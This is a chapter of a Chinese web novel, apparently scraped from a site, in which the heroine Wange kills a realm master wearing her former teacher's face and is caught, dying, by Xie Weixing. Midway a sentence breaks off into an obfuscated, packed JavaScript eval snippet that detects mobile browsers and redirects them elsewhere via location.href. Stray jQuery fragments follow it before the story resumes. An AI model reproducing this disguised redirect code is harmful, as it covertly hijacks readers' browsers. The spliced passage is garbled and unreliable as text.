23. 第23章:杀师

作品:《少阁主今天也没有死

    境主没有想到她都受了这么严重的伤了,还能做出这样近乎同归于尽的攻击。


    他急急要松开握住铁杖的铁手,但是挽戈的沾满血的冰凉的左手,已经顺势向上死死扣住了他的那只铁臂,而挽戈另一只手的刀锋,就要劈到他的脖颈。


    “疯子!”


    境主低咒一声,竭力仰头闪避,同时就要去拧那铁杖。


    但是到底晚了一步。


    镇灵刀的弧光亮得刺目,那几乎是瞬息之间的事,顺着境主肩膀上铁骨和皮肉的衔接处,重重斩下——


    “咔嚓。”


    沉重的铁臂,连着抓握的铁杖一同被齐齐斩落。


    境主原先铁臂与肩窝的地方都皮肉被硬生生铡开,境主吃痛的同时,鲜血喷出。


    那被斩落的铁臂失去支撑,连带着抓握的铁杖一起,猛地一坠。


    那铁杖尖端仍穿透在挽戈心口处。她喉间一紧,只抬手扶住铁杖,硬把那寸坠势抵住。


    境主太痛了,被硬生生斩断肩膀,加上突然失去了那条沉沉的铁臂,一时间失衡地踉跄了几步。


    他胸前的衣服都被血染透了,只嘶道:“小畜生——”


    趁着境主吃痛受阻的时候,挽戈右手反握镇灵刀,左手却骤然抓住扔插在她心口的铁杖,硬生生往外拔。


    拔出的那一瞬间,血从她心口的伤口,比先前更快地喷涌而出,泼得满身满手满地都是。挽戈强撑着去点穴止血,但还是膝盖一软,几乎跪倒。


    这会儿,挽戈只觉得眼前一会发黑又一会发亮,耳中成线一样的嗡鸣。


    她当然知道为什么,已经失去太多血了。


    ——不能昏过去。


    ——起码现在不能。


    她一只手扶着镇灵刀撑着,另一只手骤然竭力用细白的掌心在镇灵刀的刀锋上重重一划。


    锋口很薄,鲜血从细窄的伤口涌出,疼痛让她脊背一绷,但意识短暂从几近模糊的状态中清醒过来。


    镇灵刀又尝饱了主人的血,刀身金纹大亮,跃跃欲试地嘶鸣起来。


    境主却嗤笑起来,他现在少了一条铁臂和铁杖,只剩下一条手臂、一只腿和另一只铁腿,配上那张眼眶空荡荡的脸,显得分外滑稽。


    但他根本不急出手,哈哈嘲笑起挽戈:“你要死了啊,少阁主。”


    从境主的角度,看不清挽戈的眼眸,只能看见她本来就苍白的脸几乎白到透明,脸上、手上和衣服上,到处都是血,稚嫩的下颌线绷得很紧。


    漂亮、脆弱,且马上就要被折断。


    他当然能看见挽戈的命火——那已经几乎要完全熄灭了。


    “哎呀,死在老阁主手里的感觉怎么样?这可是你恩重如山的师父,哈哈!”


    境主啧啧了两声,笑意在空洞的眼眶中荡开,他还是相当享受这最后的时候,甚至有些意犹未尽。


    境主忽然有些感慨。


    作为万象诡境境主,百年来他已经见过了太多好戏。


    臣杀君、子杀父,手足相残。最清廉的贤臣卖官鬻爵,大孝子灵堂摔盆哭灵完就迎娶小娘,最义气的汉子把结拜兄弟卖进青楼。


    人间最好玩的从来不是鬼,是人。


    他承认,挽戈是他见过的那么多顶级天才里面最天资横绝的一个。


    不过,即使是天才又怎么样?


    最后还是会不得好死。


    “真是可怜呐,”境主兀自叹气,假模假样露出了一个怜悯的表情,“从血亲到师长,你活到现在十七年,没有一个人真心待你,天呐。”


    境主用那张老阁主的脸,装出了一个相当伤心、深情、沉重的表情,甚至吸了吸鼻子。


    “看在你这么惨的份上,我给你个痛快吧。”


    他一边说着,一边咔哒咔哒地向挽戈走来,铁腿敲击地面的声音,像最后的落幕曲。


    挽戈原先一直垂着眼。在境主就离她几步之遥的时候,她却忽然抬头。


    她的睫毛已经被血雾濡湿了,但是眼眸黑亮而冷:“我说过,你错了。”


    境主嗤了一声:“嗯?”


    “我会杀了我师父,”她声音很轻,“——先从你这副脸开始。”


    话音未落,她骤然起身向前,几乎没有声音,单手反扣刀锷,镇灵刀兴奋地嘶鸣起来,贴着她掌心的血线划开一个弧,直劈境主的咽喉!


    那其实是电光石火间,境主猛地一仰头,以一种相当惊险的角度避过。


    下一刻,他另一只铁腿将地上那根先前掉的铁杖挑起,冷笑起来。


    “敬酒不吃吃罚酒——”


    他那只仅剩的血肉的手探出去勾住铁杖,不再去避挽戈的刀,反手直直往挽戈小腹刺去。


    那其实是以攻代守的做法。


    ——挽戈如果要避开这铁杖的一刺,势必要侧身放弃那一刀。


    他完全没有预料到的是,挽戈并没有躲。


    她非但没有躲,反而向前半步,铁杖深深刺入她的小腹,从背后穿出一截,滚烫的鲜血再次喷涌出来。


    下一刻,镇灵刀璀璨的刀光已经横斩向境主!


    “……我说过,我会胜过你,师父。”


    境主没听见挽戈很轻的话。


    铁皮崩裂,血肉和铁骨在同一线被齐齐斩断。境主的躯体从上下被彻底腰斩,变成两截。


    他上半截维持着向前的姿势,已经向前扑倒,下半截连带着一条铁腿、一条肉腿,停滞了一下才翻倒。


    滚烫的血喷出来,红的白的东西从境主两截身体的切口之间涌出。


    剧痛淹没了境主。


    境主喘息着,但是只剩上半身的他,居然还能用最后那只手抓地,拖着半截身体爬行。


    “你真是个疯子……”


    境主这具躯体终于爬不动了,最后哈哈大笑起来,笑声在空洞的眼眶里撞。


    “哈哈,不过,你马上也要死了……”


    这话这次的确马上是真的了。


    刚刚那一刀几乎耗尽了挽戈最后的力气,她甚至已经握不住刀,镇灵刀当啷一声从她手中脱落坠地。


    她终于支撑不住身体,膝盖一折,跪在血泊里。


    掌心扶地,血和灰糊在一起。挽戈侧头去捞镇灵刀,但是好几次都抓不住,最后终于抓住,重新撑着站起来。


    境主仰着那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320552|181781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    张苍老的脸,嘲笑道:“哈哈,别费力气了,你也快死了,我也快死了,说不定我比你后死,哈哈!”


    挽戈没理他,撑着身体,拖着刀,一步步走向境主,血顺着镇灵刀刃滴答向下流淌,不知道是谁的血。


    “别装了!”


    境主还在笑,只剩半截身体、一只手臂的老人躯体的狂笑,看上去分外瘆人。


    “你根本没力气举刀了——”


    话没说完,挽戈最后抬起手,把镇灵刀从境主锁骨与胸骨的缝隙里压了进去,一寸寸,直到刺穿。


    镇灵刀喝饱了血,金纹亮着,灭不下来。然后是刀刃搅动血肉的声音。


    “我说过,”挽戈很轻很轻地说,“我会杀了你,师父。”


    她把镇灵刀抽了出来。


    境主的头慢慢垂了下去,像最后一点气也消失了,最后抽搐了两下,便再无生息。


    挽戈握着刀,想最后把镇灵刀收回鞘,但是只举刀一半,手就再也握不住刀柄了。


    镇灵刀滑落在地。


    挽戈半跪在地,衣襟上都是涌出来的血,浸得发黏。她当然知道自己也要死了。


    境主已死。


    ——万象诡境已经结束。


    堂梁上的匾额晃了一下,灰暗的堂宇像画布一样被人撕开。万象诡境在无声地震颤中破碎,有新的光涌进来,血腥气却没有消。


    挽戈的身体已经从五六岁,在转瞬之间重新回到了十七岁。


    但她并没有注意到这点。


    血还在涌出,她眼前已经完全看不清东西了,只剩茫茫的黑,手和脚都是从来没有过的彻骨的冰凉。


    血流尽了人就会死,这话在她脑子里慢吞吞响了一遍。


    她只觉得眼皮完全睁不开,冷意像水鬼一样把她往下拖,意识迅速坠落,她终于撑不住这具躯壳,就要摔落在地。


    但是她并没有撞到冰凉的地面。


    腰身一紧,被一股力从血水中捞住。


    谢危行从后面捞住挽戈,把她抱起来。他一抱起来,他没来得及注意到血蹭得他满手满怀都是,骤然一愣。


    ——太轻太冷了。


    他从前就知道她体温低,几乎不像活人的温度。但是这会儿揽着她,却发现她的体温从来没有这么冷过。


    甚至比先前在青楼诡境,和先前在客栈里见到病中的她时更冷。


    不对。


    谢危行心底一沉,右眼金影骤然大盛。


    ——他看见了挽戈的命火。


    或者说已经要看不见了。


    “睁眼,挽戈!”谢危行几乎从来没有这么慌乱过,他没有注意到自己声音都哑了,“别睡!”


    没有回应。


    那完全是下意识的反应,谢危行几乎是瞬间把她完全抱起来,他自己膝一跪坐地上,让她靠在自己怀里,另一只手飞速去点她周身穴位去止住血势。


    这不过转瞬之间的事,但没有用。


    他立即去扣住她的脉口,掌心一沉,将热力从经络深处压出去,沿着她冰凉的经脉推回心脉。


    但是她的躯体太冷了,热力刚填进去,就被铺天的冷意吞没。